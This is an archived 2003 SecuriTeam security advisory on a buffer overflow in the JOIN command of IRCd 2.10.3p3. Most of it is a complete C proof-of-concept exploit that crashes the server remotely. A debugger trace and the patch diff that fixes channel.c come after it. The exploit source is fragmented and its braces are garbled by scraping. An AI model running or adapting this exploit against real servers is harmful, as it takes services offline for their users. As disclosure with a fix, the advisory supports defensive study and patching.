

# [EXPL] Buffer Overflow in JOIN Command Leads to DoS

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0052.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 10/13/03

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 13 Oct 2003 15:56:24 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

Buffer Overflow in JOIN Command Leads to DoS

---

## SUMMARY

A remotely exploitable denial of service vulnerability has been found in IRCd, the vulnerability allows remote attackers to cause to server to no longer respond to legitimate requests.

## DETAILS

Vulnerable systems:

\* IRC version 2.10.3p3

Exploit:

/\*\* irc2.10.3p3 and maybe below remote DOS exploit by millhouse \*\*

Exploit uses a bug in channel.c that happens while handling a specially crafted JOIN command.

Program received signal SIGSEGV, Segmentation fault.  
0x40108f05 in strcat () from /lib/libc.so.6

As u can see the overflow happens while dealing with strcat().

## Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

After a few hours of debugging and testing i'll carefully say that there is no way to control the functions EIP to make a code execution possible.

I didnt checked for this bug in other/modified versions of the IRC deamon so its possible that some of them are vulnerable too. Smarties should read the coredump to get more informations.

Greets to: servie – (the man with the drastic knowledge)

    null0 – (helper in asm and debuggin' things)

    lordi – (also known as erklärbär)

    error – (i promised it)

    lexxor – (0day public?)

chosenOne, hidro, tgt, mspcshl, coco, tobias...

**THIS IS A PROOF OF CONCEPT. HANDLE THIS SOURCE WITH CARE!**

/\*07\10\2003\*/

```
#include <stdlib.h>
```

```
#include <stdio.h>
```

```
#include <string.h>
```

```
#include <arpa/inet.h>
```

```
#include <sys/types.h>
```

```
#include <sys/socket.h>
```

```
#include <netinet/in.h>
```

```
#include <getopt.h>
```

```
#include <netdb.h>
```

```
int sckfd;
```

```
int sockopen(char *host, int port)
```

```
{
```

```
    struct sockaddr_in addr;
```

```
    struct hostent *he;
```

```
    he=gethostbyname(host);
```

```
    if (he==NULL)
```

```
    {
```

```
        fprintf(stderr, "[–] cant handle host ..\n");
```

```
        exit(1);
```

```
    }
```

```
    memcpy(&addr.sin_addr, he->h_addr, he->h_length);
```

```
    addr.sin_family=AF_INET;
```

```
    addr.sin_port=htons(port);
```

```
    sckfd = socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
```

```
    if(connect(sckfd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
```

```
    sckfd=-1;
```

```
    return sckfd;
```

```
}
```

## Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

```
char *makestring(int len)
{
    char *tmp;
    int i;
    tmp = (char*) malloc(len+1);
    memset(tmp,0,len+1);
    for (i=0;i<len;i++) tmp[i]=(random()%(122-97))+97;
    return tmp;
}

void usage(char *pname)
{
    fprintf(stderr, "usage: %s -hp\n", pname);
    fprintf(stderr, "\t-h <host/ip> of the ircd\n\t-p <port> default is
6667\n\n");
    fprintf(stderr, "\tremember that the IP the exploit is running at
must\n");
    fprintf(stderr, "\tmatch to a servers I-Line, else this exploit will
fail..\n\n");
    exit(1);
}

int main(int argc, char *argv[])
{
    int opt,i;
    int port=6667;
    char host[256];
    char request[1024], buffer[600];
    char reply[2000];
    char *name, *string;
    struct sockaddr_in addr;
    struct hostent *he;
    srandom(time(NULL));

    fprintf(stdout, "irc2.10.3p3 remote dos exploit delivered by
millhouse\n");
    fprintf(stdout,
"-----\n");

    memset(host, 0x00, sizeof(host));
    memset(request, 0x00, sizeof(request));
    memset(buffer, 0x00, sizeof(buffer));
    memset(reply, 0x00, sizeof(reply));

    while((opt=getopt(argc,argv,"h:p:")) !=EOF)
    {
        switch(opt)
        {
            case 'h':
                strncpy(host, optarg, sizeof(host)-1);
                break;
        }
    }
}
```

## Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

```
case 'p':
    port=atoi(optarg);
    break;
default:
    usage(argv[0]);
    break;
}
}

if(argc < 2)
{
    usage(argv[0]);
}

if((port <= 0) || (port > 65535))
{
    fprintf(stderr, "[–] invalid port ..\n");
    exit(1);
}

sckfd=sockopen(host, port);

if(sckfd < 0)
{
    fprintf(stderr, "[–] cant connect to %s:%d ..\n", host, port);
    exit(1);
}

fprintf(stdout, "[x] connected to %s:%d ..\n", host, port);

name = makestring(9);
fprintf(stdout, "[x] trying to logon with nick %s ..\n", name);
snprintf(request, sizeof(request) –1, "USER %s localhost localhost
mauer\r\n"
        "NICK %s\r\n",name, name);

write(sckfd, request, strlen(request));

// checks simply if we are allowed to connect or not, a restricted
// connection doesn't bother us.
while(1)
{
    recv(sckfd, reply, sizeof(reply), 0);
    if(strstr(reply, "ERROR"))
    {
        fprintf(stderr, "[–] we dont have access, exploit failed ..\n");
        exit(1);
    }
    if(strstr(reply, "MOTD"))
    {
        fprintf(stdout, "[x] we're logged on, sending evil data ..\n");
    }
}
```

## Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

```
    break;
}
}

// lets build the join comand and pull it out. open your
// eyes, the root of all evil..
for(i=0;i<9;i++)
{
    string = makestring(50);
    strcat(buffer, "!#");
    strcat(buffer, string);
    strcat(buffer, ",");
}

string = makestring(5);
strcat(buffer, "#");
strcat(buffer, string);

snprintf(request, sizeof(request) - 1, "JOIN %s\r\n", buffer);
write(sckfd, request, strlen(request));

close(sckfd);
sleep(5);

if (sockopen(host, port) > 0) {
    fprintf(stderr, "[-] exploit failed, exiting ..\n");
    close(sckfd);
    exit(1);
}

fprintf(stdout, "[x] exploit worked, ircd unreachable ..\n");
return 0;
}
```

### Patch:

The patch is also avialable for download from:

[http://akson.sgh.waw.pl/~chopin/ircd/patches/m\\_join.diff](http://akson.sgh.waw.pl/~chopin/ircd/patches/m_join.diff)

[http://akson.sgh.waw.pl/~chopin/ircd/patches/m\\_join.diff](http://akson.sgh.waw.pl/~chopin/ircd/patches/m_join.diff)

```
--- ../cvs/irc2.10.3/ircd/channel.c Fri Oct 10 22:34:05 2003
```

```
+++ channel.c Sat Oct 11 00:03:40 2003
```

```
@@ -2001,7 +2001,7 @@
```

```
Reg Link *lp;
```

```
Reg aChannel *chptr;
```

```
Reg char *name, *key = NULL;
```

```
- int i, flags = 0;
```

```
+ int i, tmplen, flags = 0;
```

```
char *p = NULL, *p2 = NULL, *s, chop[5];
```

```
if (parc < 2 || *parv[1] == '\0')
```

```
@@ -2150,10 +2150,20 @@
```

## Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

```
        parv[0]), name);
    continue;
}
+ tmplen = strlen(name);
+ if (i + tmplen + 2 /* comma and \0 */
+ >= sizeof(jbuf) )
+ {
+
+ break;
+
+ }
    if (*jbuf)
- (void)strcat(jbuf, ",");
- (void)strncat(jbuf, name, sizeof(jbuf) - i - 1);
- i += strlen(name)+1;
+ {
+ jbuf[i++] = ',';
+ }
+ (void)strcpy(jbuf + i, name);
+ i += tmplen;
    }

    p = NULL;
@@ -2305,6 +2315,16 @@
        parv[0], name, chop);
    else if (*chptr->chname != '&')
    {
+ /* ":" (1) "nick" (NICKLEN) " JOIN :" (7), comma (1)
+ ** possible chop (4), ending \r\n\0 (3) = 16
+ ** must fit in the cbuf as well! --B. */
+ if (strlen(cbuf) + strlen(name) + NICKLEN + 16
+ >= sizeof(cbuf))
+ {
+ sendto_serv_butone(cptr, ":%s JOIN :%s",
+ parv[0], cbuf);
+ cbuf[0] = '\0';
+ }
        if (*cbuf)
            strcat(cbuf, ",");
            strcat(cbuf, name);
```

### ADDITIONAL INFORMATION

The information has been provided by millhouse and  
<mailto:chopin@sgh.waw.pl> Piotr KUCHARSKI.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com

Securiteam: [EXPL] Buffer Overflow in JOIN Command Leads to DoS

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.